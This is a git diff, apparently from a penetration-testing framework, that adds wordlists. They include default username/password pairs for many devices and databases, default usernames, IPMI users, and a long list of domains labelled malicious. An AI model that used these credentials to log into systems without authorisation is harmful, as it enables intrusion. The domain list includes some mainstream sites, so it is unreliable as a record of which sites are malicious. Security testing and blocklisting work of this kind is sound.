+CDEMO82 CDEMO82 +admin boca raton +Administrator vision2 +administrator 0 +umountsys umountsys +snmp snmp +Username PASSWORD +volition +USER0 USER0 +CDEMOCOR CDEMOCOR +SYSTEST UETP +Rodopi Rodopi +DECNET NONPRIV +user_checker demo + tatercounter2000 +qserv qserv + ESSEX or IPC +AQ AQ +support +SAPR3 SAP +VRR1 VRR1 +fastwire fw +admi admin +FINANCE FINANCE +WinCCAdmin 2WSXcder +ESTOREUSER ESTORE +fax fax +VIRUSER VIRUSER +LINK LINK +APPLSYSPUB FNDPUB + BIOS +SYS ORACLE8 +SYS ORACLE9 +overseer overseer +checksys checksys +umountfs umountfs +DBDCCICS DBDCCIC +Admin password + x6zynd56 +TOAD TOAD +root mozart +ntpupdate ntpupdate +root router +MDDEMO_MGR MGR +ARCHIVIST +SUPERVISOR HARRIS + 11111 +billy-bob +lp bin +DECMAIL DECMAIL +alien alien +admin dnnadmin +nsroot nsroot +AdvWebadmin advcomm500349 +dvstation dvst10n +SERVICECONSUMER1 SERVICECONSUMER1 +MMO2 MMO2 +qsecofr 11111111 +NOC NOC +WWWUSER WWWUSER +root Serial port only +SAP SAPR3 +root t0talc0ntr0l4! +NEVIEW +MAIL +ODSCOMMON ODSCOMMON +fal fal +pixadmin pixadmin +ripeop +PENG + BIOSPASS +netlink netlink +L2LDEMO L2LDEMO +OUTLN OUTLN +12.x +scott tiger or tigger + toshy99 +dbase dbase + nz0u4bbe +fam fam + bell9 +Oper Oper +RMAIL RMAIL +administrator 19750407 +FND FND +admin exinda +PRIV PRIV +admin barney +SETUP + biodata + 24Banc81 +news news +VSEIPO + j09F +pw pw +GUEST +ilon ilon + award_? +SYS 0RACLE39 +SYS 0RACLE38 +DEFAULT DEFAULT + AMI!SW +PLSQL SUPERSECRET +root alpine +politcally correct +18140815 18140815 +APPUSER APPUSER +SUPERVISOR +CENTRA CENTRA +LBACSYS LBACSYS + alfarome +PDP8 PDP8 +SFCMI +administrator * * # +lpadm lpadm +Test Everything +bewan bewan + 2580 +DIP DIP + Sxyz +mfd mfd +MDDEMO MDDEMO + intermec + 589589 +SWPRO SWPRO +DES DES +root fibranne +Coco hello +GCS +rodopi rodopi + touchpwd= +Scott Tiger +Admin5 4tugboat +admin funkwerk +ANDY SWORDFISH +DESQUETOP +nobody +Manager 657 + mysweex +SYSTEM SYSLIB +NETCON NETCON +JONES STEEL +author author +MOESERV +web web +tech User +PUBSUB1 PUBSUB1 +SYS D_SYSPW +CATALOG CATALOG + IBM + Guest +SQLUSER +RE RE +REPORTS_USER OEM_TEMP +MFG MFG +POST POST +HPLASER HPLASER +HR HR +VIDEOUSER VIDEO USER +DBA SQL + CMOSPWD +guest1 guest +superuser asante +SYSTEM 0RACLE38 +SYSTEM 0RACLE39 +AUTOLOG1 +dadmin dadmin +AURORA$JIS$UTILITY$ +wlcsystem wlcsystem +news +CPRM diff --git a/data/wordlists/default_users_for_services_unhash.txt b/data/wordlists/default_users_for_services_unhash.txt new file mode 100644 index 0000000000..c36f0e7e2b --- /dev/null +++ b/data/wordlists/default_users_for_services_unhash.txt @@ -0,0 +1,915 @@ +admin + +root +Administrator +sysadm +tech +operator +guest +security +debug +manager +service +!root +user +netman +super +diag +Cisco +Manager +DTA +apc +User +Admin +cablecom +adm +wradmin +netscreen +sa +setup +cmaker +enable +MICRO +login +write +monitor +netopia +op +adminview +sysadmin +echo +craft +maint +comcast +CSG +readonly +manuf +cusadmin +smc +sweex +disttech +su +poll +SYSDBA +anonymous +support +recovery +USERID +eng +administrator +NETWORK +JDE +Guest +rwa +USER +test +lp +ro +MAIL +ami +hsa +system +MGR +ADMINISTRATOR +FIELD +PBX +HELLO +hscroot +1502 +superuser +netrangr +readwrite +piranha +wlse +l3 +none +naadmin +public +NETOP +MANAGER +demo +D-Link +l2 +rw +cgadmin +storwatch +vcr +OPERATOR +MDaemon +jagadmin +enquiry +at4400 +davox +PFCUser +aaa +topicalt +admin2 +1234 +nms +client +sys +field +deskman +SYSADM +superadmin +pmd +GEN2 +ADMN +Factory +PRODDTA +tellabs +spcl +dadmin +helpdesk +dhs3mt +install +adfexc +IntraSwitch +manage +superman +SPOOLMAN +ADVMAIL +vt100 +PSEAdmin +patrol +teacher +PCUSER +Any +RSBCMON +cellit +inads +halt +locate +TMAR#HWMT8007079 +rapport +xbox +device +NICONEX +acc +31994 +bcim +websecadm +blue +topicnorm +supervisor +ccrusr +266344 +telecom +GEN1 +SSA +HTTP +mtch +bciim +browse +hydrasna +deskres +bbsd-client +replicator +intel +radware +intermec +mlusr +init +e250 +Polycom +temp1 +mac +3comcso +RMUser1 +WP +NAU +rcust +mtcl +topicres +bcnas +adminuser +Root +cac_admin +mediator +Anonymous +kermit +volition +GlobalAdmin +LUCENT01 +LUCENT02 +adminstat +desknorm +IntraStack +e500 +deskalt +cust +tiara +bcms +m1122 +telco +xd +dhs3pms +VNC +customer +cisco +adminstrator +ftp_nmc +me +iclock +scmadmin +installer +webadmin +ftp_inst +DDIC +SYSTEM +draytek +EARLYWATCH +super.super +ftp_oper +corecess +weblogic +system/manager +End +d.e.b.u.g +target +MD110 +tiger +adminttd +wlseuser +SAPCPIC +ftp_admi +default.password +7 +2 +ADMIN +itsadmin +PUBSUB +CTXSYS +ftp +bill +192.168.1.1 +setpriv +GUEST +SAP* +t3admin +hello +CISCO15 +1.79 +mso +Telecom +qsysopr +APPS +Developer +mail +qsecofr +11111 +Service +netadmin +any +db2fenc1 +johnson +isp +demos +QSRV +MDSYS +vpasp +TEST +QSECOFR +1 +informix +5 +engmode +scout +qpgmr +ADSL +images +Gearguy +Demo +serial# +BACKUP +stratacom +6.x +mary +COMPANY +SYS +DSL +Jetform +eagle +ROUTER +ods +siteadmin +Alphanetworks +Admin1 +janta +servlet +username +citel +Replicator +SYSMAN +master +SUPERUSER +cn=orcladmin +30 +maintainer +BRIO_ADMIN +internal +CQSCHEMAUSER +DEV2000_DEMOS +FSFTASK1 +checkfs +USER1 +SQLDBA +HELP +toor +qsrvbas +SYSADMIN +EZsetup +BATCH +STRAT_USER +primenet +OEMREP +USER6 +lynx +powerdown +$ALOC$ +password +VOL-0215 +tomcat +REP_MANAGER +WinCCConnect +ALLIN1 +DIRMAINT +eqadmin +QSRVBAS +AQJAVA +LASERWRITER +PERFSTAT +apcuser +MBWATCH +system_admin +unix +OWNER +NETPRIV +VSEMAINT +DEMO +SYMPA +REP_OWNER +DCL +FAX +ARCHIVIST +VTAMUSER +VMTAPE +basisk +NetLinx +OutOfBox +NETMGR +DEFAULT +OAS_PUBLIC +read +AP +MTSSYS +SYSMAINT +AUDIOUSER +Joe +IDMS +$SRV +snake +ROOT +PRINTER +shutdown +satan +RDM470 +trouble +fax +OP1 +admin@example.com +HOST +ADLDEMO +QS_ADM +bin +OPER +oracle +jj +PO7 +www +joe +MAINT +CMSBATCH +CCC +role1 +DATAMOVE +MSHOME +ISPVM +crowd­-openid-­server +user_editor +sedacm +db2admin +Airaya +SYSDUMP1 +IMEDIA +primos_cs +USER_TEMPLATE +pnadmin +lpadmin +VTAM +TRACESVR +POSTMASTER +MAILER +RSCSV2 +QS_WS +circ +nobody +Tasman +DISCOVERER_ADMIN +VMASMON +LR-ISDN +TURBINE +GL +PO +PRINT +MODTEST +GATEWAY +PRIMARY +both +haasadm +pw +games +DOCSIS_APP +bbs +EMP +postmaster +SITEMINDER +vgnadmin +RJE +gonzo +NEWS +AQUSER +UTLBSTATU +netbotz +xmi_demo +ORACACHE +MCUser +prash +sync +PM +AP2SVP +ibm +ULTIMATE +SABRE +user_pricer +SUPERVISOR +EVENT +PORTAL30_SSO_PS +FSFADMIN +OO +WKSYS +OPERATNS +UVPIM_ +OE +OCITEST +web +ESSEX +None +CTXDEMO +user_designer +QDBA +role +LRISDN +tele +WEBCAL01 +rsadmin +OMWB_EMULATION +WINDOWS_PASSTHRU +MOREAU +fast +host +ORDPLUGINS +SYSWRM +savelogs +SDOS_ICSAP +DSSYS +MGWUSER +TDOS_ICSAP +ssp +EJSADMIN +INGRES +DS +estheralastruey +VCSRV +ssladmin +CLARK +OEMADM +restoreonly +quser +MILLER +trmcnfg +REPORT +user_author +dpn +tour +mountfsys +http +PROG +openfiler +RAID +STARTER +FAXUSER +DSA +daemon +mountsys +backuponly +IVPM1 +USER3 +OPENSPIRIT +prime +HPLASER +CSPUSER +qsvr +SYSCKP +Sysop +user_marketer +IMAGEUSER +bsxuser +MASTER +USER9 +OLAPSYS +rje +ODM_MTR +QS_ES +lansweeperuser +DEMO3 +Username +GPLD +uucp +DBSNMP +VMARCH +SWUSER +Operator +CHEY_ARCHSVR +roo +n.a +accounting +backuprestore +dni +WEBADM +iceman +guru +anon +USER8 +PORTAL30_SSO_PUBLIC +postgres +WINSABRE +USERP +IVPM2 +PORTAL30_SSO +ALLIN1MAIL +POST +TEMP +BATCH1 +PROMAIL +SECDEMO +ARAdmin +sadmin +ORAREGSYS +VMASSYS +man +FROSTY +LASER +tutor +DISKCNT +default +SYSERR +WWW +VAX +PROCAL +FAXWORKS +LDAP_Anonymous +(any +setup/snmp +DSGATEWAY +AWARD_SW +CSMIG +umountfsys +VMS +bpel +viewuser +TDISK +politically +user_analyst +RSCS +COMPIERE +OSP22 +guest1 +FORSE +factory +bubba +QUSER +primeos +glftpd +RMAN +mountfs +DIRECT +firstsite +IPFSERV +TSUSER +BATCH2 +snmp +WebAdmin +IBMUSER +SMART +voadmin +BC4J +core +OPERVAX +Bobo +WANGTEK +OWA +USER2 +jasperadmin +VMBSYSAD +PVM +ctb_admin +  +DEMO4 +qsrv +superdba +PORTAL30 +XPRT +Crowd +18364 +ilom-admin +rdc123 +sysopr +tasman +blank +WEBREAD +ODM +11111111 +AURORA$ORB$UNAUTHENTICATED +ADAMS +Craft +rfmngr +SYSTEST_CLIG +user_approver +ilom-operator +Nice-admin +answer +NETNONPRIV +nuucp +CIDS +VASTEST +redline +MBMANAGER +webmaster +APPLSYS +USER4 +hqadmin +UOMNI_ +VMUTIL +uucpadm +EXFSYS +4Dgifts +JMUSER +CIS +UNITY_ +HLW +pwrchute +IDMSSE +NSA +TELEDEMO +recover +TRAVEL +lexar +viewer +LIBRARY +PO8 +root@localhost +NAMES +secofr +PDMREMI +MGE +USER7 +OWA_PUBLIC +questra +builtin +SFCNTRL +boss +PLEX +OLAPDBA +OLAPSVR +user_expert +Bhosda +gropher +TAHITI +NEWINGRES +VM3812 +VIF_DEVELOPER +joeuser +IPC +HELPDESK +wlpisystem +TSAFVM +prtgadmin +UAMIS_ +theman +CISINFO +mobile +QS_CB +CDEMORID +DEMO2 +PORTAL30_PUBLIC +MDDEMO_CLERK +PHANTOM +ODS +BLAKE +TSDEV +PRODBM +dos +APL2PP +god1 +CICSUSER +22222222 +user_publisher +OSE$HTTP$ADMIN +def +SuperUser +QS_CBADM +SYSA +STUDENT +Draytek +SMDR +EREP +VSEMAN +fwadmin +MTS_USER +AQDEMO +private +IS_$hostname +HPSupport +ORASSO +CVIEW +SH +XXSESS_MGRYY +VMMAP +PORTAL30_DEMO +Ezsetup +QS_CS +CMSUSER +DEMO1 +userNotUsed +ncadmin +TESTPILOT +fg_sysadmin +UETP +QS +DBI +JWARD +APPS_MRC +Moe +SENTINEL +Yak +PDP11 +Flo +SLIDE +INFO +checkfsys +PRODCICS +MXAGENT +VMTLIBR +POWERCARTUSER +VMBACKUP +CPNUC +distrib +MIGRATE +CDEMOUCB +OLTSEP +sysbin +signa +autocad +WEBDB +ncrm +SAMPLE +HCPARK +ALLINONE +nm2user +SAVSYS +IIPS +PATROL +mailadmin +TMSADM +ESubscriber +software +god2 +FSFTASK2 +ORDSYS +gopher +PSFMAINT +EAdmin +12345 +DECNET +OPERATIONS +$system +PANAMA +LIBRARIAN +fal +NETSERVER +POWERCHUTE +USER5 +GPFD +QS_OS +REPADMIN +0 +DEMO8 +DEMO9 +CDEMO82 +umountsys +USER0 +CDEMOCOR +SYSTEST +Rodopi +user_checker +qserv +AQ +SAPR3 +VRR1 +fastwire +admi +FINANCE +WinCCAdmin +ESTOREUSER +VIRUSER +LINK +APPLSYSPUB +overseer +checksys +umountfs +DBDCCICS +TOAD +ntpupdate +MDDEMO_MGR +billy-bob +DECMAIL +alien +nsroot +AdvWebadmin +dvstation +SERVICECONSUMER1 +MMO2 +NOC +WWWUSER +SAP +NEVIEW +ODSCOMMON +pixadmin +ripeop +PENG +netlink +L2LDEMO +OUTLN +12.x +scott +dbase +fam +Oper +RMAIL +FND +PRIV +SETUP +news +VSEIPO +ilon +PLSQL +politcally +18140815 +APPUSER +CENTRA +LBACSYS +PDP8 +SFCMI +lpadm +Test +bewan +DIP +mfd +MDDEMO +SWPRO +DES +Coco +GCS +rodopi +Scott +Admin5 +ANDY +DESQUETOP +NETCON +JONES +author +MOESERV +PUBSUB1 +CATALOG +SQLUSER +RE +REPORTS_USER +MFG +HR +VIDEOUSER +DBA +AUTOLOG1 +AURORA$JIS$UTILITY$ +wlcsystem +CPRM diff --git a/data/wordlists/ipmi_users.txt b/data/wordlists/ipmi_users.txt index 38b5964835..1f4036018c 100644 --- a/data/wordlists/ipmi_users.txt +++ b/data/wordlists/ipmi_users.txt @@ -3,3 +3,4 @@ admin root Administrator USERID +guest diff --git a/data/wordlists/malicious_urls.txt b/data/wordlists/malicious_urls.txt new file mode 100644 index 0000000000..0b0acc439c --- /dev/null +++ b/data/wordlists/malicious_urls.txt @@ -0,0 +1,3968 @@ +00398d0.netsolhost.com +0414qd.com +0577rc.net +0koryu0.easter.ne.jp +0zz0.com +1-vinstaller.com +1.michaelwilsonmusic.com +100megabyte.com +11.lamarianella.info +12318wh.com +123mediaplayer.com +123mplayer.com +125search.com +127.co.kr +12danji.com +1322.com +1364ih5d6.ni.net.tr +137158.cn +1860php.com +197.242.148.159-static.reverse.softlayer.com +199.193.232.43-static.reverse.softlayer.com +19tenco.com +1clickmoviedownloader.info +1k.pl +1miem.org +1wstdfgh.organiccrap.com +2.refiinc.com +2.wholesalepbm.com +2.zerocostfha.com +2007scapebot.net +200mail.com +2010103.com +212.124.115.216-static.reverse.softlayer.com +21tx.com +2345.cn +249.strangled.net +24sky.co.kr +24ut1.ru +26923.com +28ytls60.ni.net.tr +2wnpf.tld.cc +3.bluepointmortgage.com +3.coolerpillow.com +3.photowallrental.com +321vn.sites.uol.com.br +3322.org +360edu.com +360tpcdn.com +365idc.com +3apa3a.tomsk.tw +3dmodelagem.com +3dvideodownload.com +3herculeans.com +3kinds.net +3lsoft.com +3rbw.com +3rddownload.com +3shitou.com +3x.ro +4.androidislamic.com +4.collecorvino.org +4.dlevo.com +4.e-why.net +4.luca-volonte.org +4.newenergydata.biz +4.newenergydata.info +4.periziavela.com +4.pianetapollo.com +4.whereinitaly.com +4.whereinlazio.com +4.whereinliguria.com +4.whereinlombardy.com +4.whereinmilan.com +4.whereinmolise.com +4.whereinpiemonte.com +4.whereinpuglia.com +4.whereinsardegna.com +4.whereinsicilia.com +4.whereinsicily.com +4.whereintoscana.com +4.whereintrentinoaltoadige.com +49mp3.com +4k5.com +4kids2kids.net +4office.com +4sinstalls.info +4yourcsecret.co.tv +5.attilacrm.com +5.chinottoneri.com +5.estasiatica.com +5.eventiduepuntozero.com +50eee9e483691.daveandterra.com +50efa6486f1ef.skydivesolutions.be +50webs.com +510799b627b3d.bidbandit.co.uk +5107a120d92e0.e-chore.co.uk +5108134940e79.wheelchairsforindia.com +512.ir +51web8.net +52z.com +55555.to +58toto.com.cn +6.bbnface.com +6.bbnfaces.net +6.bbnsmsgateway.com +6.grapafood.com +6.mamaswishes.com +6.negutterking.org +614.hol.es +63.net +69-64-92-87.dedicated.abac.net +705forum.com +70mmcinema.net +798kan.com +7file.co.kr +800cdn.com +8095.net +866dy.com +866rfgroup.com +878help.com +87yd.com +888casino-luckystar.net +8index.com +8mm.hiho.jp +9.bohmamei.com +9.hclinstitute.com +9.i-am-a-pussy.com +9.m2humannexus.com +91.com +91wan.com +9yuonline.com +a.update.51edm.net +aa0987.com +aaedeusa.rubbermarbles.com +aangedraafdhypothecated.beautysupplytraining.com +ab-tools.com +ab18toys.mobi +abel_guimaraes.sites.uol.com.br +abelarddo.com +abgycwu.net +abk.premeditation.asia +about-home-security.com +aboutfacetheatre.com +acapellakan.pupu.jp +accgame.com +accu.rhetoricalpoems.asia +accuratedownload.com +achren.org +aconfideeeeeracia200.com +actes-lyon.org +actionpreventive.com +activeadultproperties.com +actsforcharged.com +ad-spider.com +ad.inewsweek.cn +adahb.org +adaptec.com +adcdls.com +addendam.co.kr +addictnetwork.net +addoncommon.info +addonspotbox.info +adebola.grandshost.com +adgallery.whitehousedrugpolicy.gov +adilsondocavacoaulasvianet.com +adlice.com +adlrma.com +admarcontabil.sites.uol.com.br +admincareers.com +adminroomsoftware.com +adobe-flashplayer.com +adobe-plugin.tk +adobeinfo.org +adrianobenigno.com.br +adsea.net +adserving.favorit-network.com +adv-tecsystems.net +advancedregistryclear.com +advantig.com +advombat.ru +advsys.net +advwinntdigiplus.net +adware-2009.com +ae-21-70.car1.losangeles1.level-3.us +ae-21-70.car1.newyork1.levei-3.net +ae-63-26.cbr2.losangeles1.edge02.net +aeiegypt.com +aerolito.com.br +afa15.com.ne.kr +affinity.modeldns.com.au +afreecodec.com +agame.ca +agassy.net +agility-ml.com +agostinhoaugusto.sites.uol.com.br +agrar24.at +agriculturetoday.in +agriexpo.in +ahrens-kind.de +ahsapamerikankapi.com +aigotek.com +airdream.ru +airedaleterrier.cz +airknorflystart.ai.funpic.de +ajguazzelli.sites.uol.com.br +ak-rallyteam.home.pl +akce.ambergold.cz +akebono.under.jp +aksteachingsolution.com +akweng.com +alabaka.net +alaluzdelabiblia.org +alanjsaffron.com +alarmsoft.com +ale.goncal.sites.uol.com.br +algumfamiliareveion2010.xpg.com.br +alipay.com +alissonluis-musico.sites.uol.com.br +alizafashion.com +alkarmel.com.jo +allalla.com +allegro.gmb.pl +allenskitchenandbath.com +allfiles100.com +allfiles107.com +allfiles108.com +allfiles109.com +allfiles110.com +allfiles118.com +allfortune777.biz +alliedcarrentals.com +alllinuxapplicationsy.asia +allmapsoft.com +allmyfiles102.com +allmyfiles115.com +allmyfiles118.com +allmyfiles15.com +allpopup.com +allthegate.com +allvideo.org.uk +allwebjobs.com +allxscan.tk +alotibi.panadool400.com +alotimg.com +alschsa.com +alseeonline.co.kr +alternativateam.cz +altervista.org +alyac.co.kr +ambergold.cz +amicitreni.org +amods.net +amoninst.com +amonisto.com +ampala.net +ampfuschini.sites.uol.com.br +amsterbtn.vv.cc +amu.adduraddonhere.info +amu.boxinstallercompany.info +amu.brandnewinstall.info +amu.helpyourselfinstall.info +amu.twobox4addon.info +an-inconvenient-truth.com +anaf.com.br +analxxxclipsyjh.dnset.com +anappz.com +ancamera.co.kr +andrea_antonacci.sites.uol.com.br +androidonlines.com +andysgame.com +aniani.info +animatedchristmasscreensavers.com +anketguidevemersion.com +anonymizercom.com +antalya.ru +antfraud.co.cc +antoine-lapeyre.com +anwaltskanzlei-drischmann.de +anydaycomstwe.net +anysecu.net +ao1004.com +aonicgamers.net +aoom.com.au +aparecida.tiburcio.sites.uol.com.br +apcig.org +apfelfeed.de +app.mkspace.biz +appcentric103.com +appet.ru +applicationscenterforally.asia +applicationscreditforally.asia +applicationsforallsitey.asia +applicationsgroupforally.asia +appline.ieguide.co.kr +appzspotdown.info +aq8.cc +aquageo.cl +aquavpn.com +aqvasex.tk +arabpetroleum.net +aralgood.com +araujofernao.sites.uol.com.br +arcodep.com +arestidessilva.sites.uol.com.br +arnondemello.com.br +arriowzzetobe.net +arrudam.zeca.sites.uol.com.br +arsinco.com.br +arta.romail3arnest.info +artemisaalves.sites.uol.com.br +artick.wen.ru +artisanwonder.com +artvideo3d.ru +asanixcorp.com +asassis.sites.uol.com.br +asearch.co.kr +asfitness.com +asformations.fr +ashtartours.com +ask.com +askadresi.net +askmeaboutcctv.com +asoftwareplus.com +asoftwareupdate.com +asoftwarez.com +asp.spinchats.com +aspenhonda.com +assarbad.net +assesi.com +asso69110.org +associatesexports.com +astaloscojonesbck.net.in +astexisnew.net +at-tech.co.il +atappz.com +atdheapp.com +atdhenetapptv.com +atdhenettvapp.com +atelier3a.fr +athena.vistapages.com +atishoobeauty.com +atlog.com.sg +atolye4.com +audio4fun.com +audiochannel.net +aumimo.sites.uol.com.br +aurummulier.pl +auto-free.com +autodopravaskoda.cz +autohideip.com +autoitscript.com +autokd.cz +automatedaffiliatemachine.com +automsn.hotmail.ru +avanquest.com +avatar.xaa.pl +avirasecureserver.com +avsm.ws +aworldbd.com +axis.my +ayrtravellersmotel.com.au +aysport.net +azurial.net +b3enzcanadaa.com +b6canadas4atea.com +babblepulse.com +babos.scrapping.cc +bacguarp.com +backupworld.biz +baddosky.nazuka.net +badgefortime.net +badgewinners.com +badgewinners.net +baduqq.com +baidu.co.th +baidu.com +bananamamor.ru +bandofbros.us +banks.co.il +banner.eurogrand.com +bapujds.thehavazoo.com +barackobamainfo.com +barakair2.com +bargainracks.co.uk +barzev.net +basitbellitalianart.eu +batangicon.net +bauerpetr.cz +bb1.sandco.org +bbb-accredited.net +bbc-world-news.co.uk +bbce-legalconsultancy.com +bbcnews-money.net +bbdignite.com +bbe.rauzqivu.ru +bbs.6858dz.com +bbs.bjchun.com +bbwscimanuk.pdsda.net +bcozindia.com +bde.be +be-funk.com +beachfiretald.com +beautifulbritain.co.uk +beckandpartners.com +begin.pro +beilequ.com +beingpcky.com +beisentse.net +beldiplomcom.75.com1.ru +bellefonte.net +bellwetherlabradors.com +belnialamsik.ru +bemarcondes.sites.uol.com.br +benini.xpg.com.br +benzavenue.com +berezutskii.narod.ru +beromder56.com +berrybots.net +best-new-zip-my.info +best-trololo.com +bestcodecpackapp.com +bestemoticon.com +bestfilesdatak.asia +bestfilesdatay.asia +bestnewzipmy.info +bestshareware.net +bestvaccine.co.kr +betivervega.com +betterinstaller.com +bezproudoff.cz +bff.7oorq8.com +bff4.7oorq8.com +bgdir.org +bggranite.ca +bh-china.cn +bh.popredirect.com +bhagidari.net +bharattruck.com +biancabgm.sites.uol.com.br +bibleversepuzzles.com +bidexbank.ohost.de +big-dadd.com +bigdogtoner.com +bigel.ru +bigfile.co.kr +bigfile.or.kr +bigmama.fr +bigs-shop.com +bikebilgisayar.com +bilico.sites.uol.com.br +bill.4java.ca +billing.hostwaves.com +bingb.5webs.net +binsetup.com +biokovoholidays.com +biotic.ro +birchcompany.in +bisrv.com +bitchat.org +bizall.co.jp +biznessmanonline.bi.funpic.de +bizserviceszero.com +bizzibeans.net +bj04.com +blackengineering.co.uk +blacknite.eu +blackroot.pro +bleee.eu +blessedbiz.bl.funpic.de +blessingworld.co.in +blessmyhustles.com +blog.jekotia.net +blue-cardinal.com +bluecutsystem.com +blueone.net +blztotal.sites.uol.com.br +bmalkids.eu +bmwfanatics.eu +boanscan.co.kr +boansite.co.kr +boansolution.co.kr +boansystem.co.kr +boanupdate.co.kr +boanweb.co.kr +bobkilasadareta.su +bokkinfh.php5.cz +bonata.pl +bookingsessential.com +bookofkisl.com +bookr24.ru +bootstrap-js.net +bora369.com +botmasterlabs.net +botoxpatient.com +bouncer.bot.nu +boykusumabrata.com +bp.olofyj.ru +bplaced.com +brainblock.com +brasstradingpty.com +bravetools.net +brianhenshaw.topcities.com +bride1.com +brightchoicelighting.com +britishracingsystems.com +broodmother.com +brop.be +bropbrap.be +brospecial.net +brothersoft.com +buffalogoesout.com +buffingtonlaw.com +bufflomens.me.uk +bufur.cz +buldir.com +bulletproof-web.com +bundesregeirung.de +bundledmonkey.com +bunker.org.ua +bunyabilla.com +burgermannnn7719.biz +buruntuyr.com +buttonguide.co.kr +buyfrome.bu.funpic.de +buyinfo-centreq.tk +buyinfo-centreqcv.tk +buypaymer.so +buyphrobi.com +by98.com +bytessence.com +c-71-63-136-200.hsd1.mn.comcast.net +c15.bkla.pw +c5.zhga.biz +cabanasdopontal.com.br +cacajose.sites.uol.com.br +cacl.in +caderix.com +cafe24.com +cairujp.sites.uol.com.br +cakircali.net +calleite.sites.uol.com.br +callingcardsinstantly.com +calmonstarn.co.uk +cam49.fr +cameraweb-cartoon.tk +camposdelapampa.com.ar +camsapoolt2.biz +canadagames.theunsignedsounds.com +canichesycia.com.ar +cannabisbeer.com +cannabislyric.com +cannabispicture.com +cannabisrecipe.com +cannabisvaporizer.com +cannabisvodka.com +canoede.info +canyonshadowlabs.com +capfile.co.kr +capitalcurbing.com +capodeicapi.eu +card.org.in +carebathe.com +carepc.co.kr +carlosfalavina.sites.uol.com.br +carlosvieira1960.sites.uol.com.br +carol.omoura.sites.uol.com.br +cartethont.com +casateixeira.sites.uol.com.br +cashcasinoworld.com +cashmandevelopment.com +cashupnew.com +casinorewards.com +castleempire.com +casualcare.net +catalactica.org.ro +cathyandjeff.com +catocife.sites.uol.com.br +catrootsz.com +catsshow2online.info +cavitelife.com +cceinfo.com.br +ccgp.gov.cn +ccgslb.net +cctae.com +cdfrj.com +cdfurniture.com.my +cdn-services.com +cdn77.net +cdndp.com +celgmed.com.br +celikleraksesuar.com +centerline.co.kr +cerec.ru +certkey.or.kr +ceskarepublika.net +ceskyjiretin.cz +cetac.sites.uol.com.br +cgermanoferreira.sites.uol.com.br +cgito.net +chachating.com +champlus.co.kr +chanywa.com +charteredcapitalbk.com +checknews.5webs.net +checkspeed.co.kr +cherie-boheme.com +cheriosmarketing.net +cherrybombpetition.org +cherryfun.com +chesterfield.net.in +chinabuznessmen.ch.funpic.de +chinadatasoft.com +chinahourse.ch.funpic.de +chinakofo.com +chol.com +cholifo.info +chonbuk.ac.kr +chris-pc.com +christmasgiftforkids.com +chrome-update.org +ciistudies.com +cimrman.org +cincyty.com +cinerak.com +ciscoc.ru +cistus.cz +citus.co.kr +civicfootprint.net +civilserve.com +classificadosgazeta.com.br +claudia.reinaldo.sites.uol.com.br +claudiomaia1969.sites.uol.com.br +cleanwaters.sites.uol.com.br +clickmon.co.kr +clickrate.com.au +clickvaccine.co.kr +client.parallelgeo.com +clientfiles23.pw +clinicvaccine.co.kr +closedir.com +cloudapp.net +cloudfile11.com +cloudfront.net +cloudsvr12.com +cloudsvr206.com +cloudsvr22.com +cloudsvr30.com +cloudsvr305.com +cloudsvr31.com +cloudsvr32.com +cloudsvr40.com +cloudsvr41.com +cloudsvr46.com +cloudsvr518.com +clping.com +cmbpupin.sites.uol.com.br +cmdi.gov.cn +cms1500assistant.com +cndbase.ru +cntajomar.es +cofeb13east.com +cog.hellofuck.co.vu +colossusmetin2.eu +com.ne.kr +com41miss.rr.nu +comercialdr.sites.uol.com.br +coming1.007webs.com +coming2.007webs.com +coming3.007webs.com +coming4.007webs.com +coming5.007webs.com +companionposes.net +compass-company.ru +compfixer.net +compforallnew.info +complainpaywall.net +compstorage.info +computo164.laweb.es +condinstalls.biz +conds.ru +conduit-download.com +conduit-services.com +conduit.com +config.shopperreports.com +congrbasering.su +conqueronline-co.91.com.tqpoint.com +consumerfocusedconspicuously.net +consumersshow.net +cont24x7host.org +contatoseguranca.hol.es +contexrender.com.au +controlpc.co.kr +convert-videos.net +cookingwithmarijuana.com +cool-screensavers.com +coolbmw.ru +coolestmovie.info +coolfreestudio.com +coolwaremax.com +costcopainlessly.org +count.fuckunion.com +counter-1.adscounter.com.ua +cowon.com +cpablue.com +cpiresmartins.sites.uol.com.br +cplrenovationsinc.com +cpudln.com +cr173.com +cracks.vg +crackspider.us +crackzone.net +creamlonsarter.co.uk +createlognet.co.uk +creativeimagephotographics.com +credocatholic.com +critical-update-server1.com +crogsz.sites.uol.com.br +crossgl.com +crossrider.com +crossunltd.npage.de +crowncraftsinc.com +crowniih.com +crownike2010-uol.sites.uol.com.br +crx-web.com +crystalgraphics.com +cs-copez.com +csaaac.com +cskrf.com +csoakley.com +csson.qc.cx +cswilliamsburg.com +cubetree.co.kr +cumfaci.eu +customer.appmys-ups.com +customer.appmys-ups.org +customers.invoice-appmy.org +customgraphicproducts.com +customsboysint.com +customyarns.com +cwgministries.org +cwmgaming.com +cwvmtudybwvr.myfw.us +cyber-ta.org +cyberlandia.org +cygnus.inc.cl +cyuqtaz.com +cznshuya.ivnet.ru +czout.wuwykym.net +d-h.st +d0wnohqimjjedf0jq.net +d0wnpzivrubajjui.com +d3moncorp.co.uk +dabtune4.eu +dada.hanztrading.com +dadajozo.sk +dadrbacau.ro +dafapunter.com +dajizzum.com +damagalko.ru +danckert.dk +dangcem.com +dape.net +dargs.su +darkboard.net +darker.in.ua +dashuxmaecrme.com +dashuxmaecrmecia.ws +data.sfvolleyball.net +datarecoveryoxfordshire.co.uk +dattinggate.com +daum.net +davebarry.net +davedownloads.info +dawnframing.com +day27.007webs.com +day27s.5webs.net +day27x.5webs.net +dazzlefly.ru +dbgo.com +dcanscapital.co.uk +ddcsa.co.za +dddq.net +ddooo.com +deal-spy.com +deanwallaceplumbing.com.au +debitor.su +deborenttt.co.uk +decoderactive.com +deep-shadows.com +defencevaccine.co.kr +delavilla.com.ar +deletespyware-adware.com +deltaboatraces.net +deltariverhouse.net +demandmeticul.net +demoralization.ru +dentalsg.sites.uol.com.br +dentbeen.eu +denturesolutionsmaine.com +depaulamdp.sites.uol.com.br +depistage-precoce-vih.com +derjismutik.info +dertoprteiopolo.com +des84.com +desbloquear-celular.com.ar +descubretuser.com +deskthemepacks.com +desportonalinha.com +destino-crew.com +detadomain.su +dettymoodz.com +devpia.com +dewell.ru +dfudont.ru +dhofarinsurance.com +diablo3keygen.net +diamondjewelry1.com +diaoyudao56.com +diaryofagameaddict.com +digiaquascr.com +digitalriver.com +dikolas.homedns.org +dimenal.com.br +diminisheddatatransfer.net +dimsnetwork.com 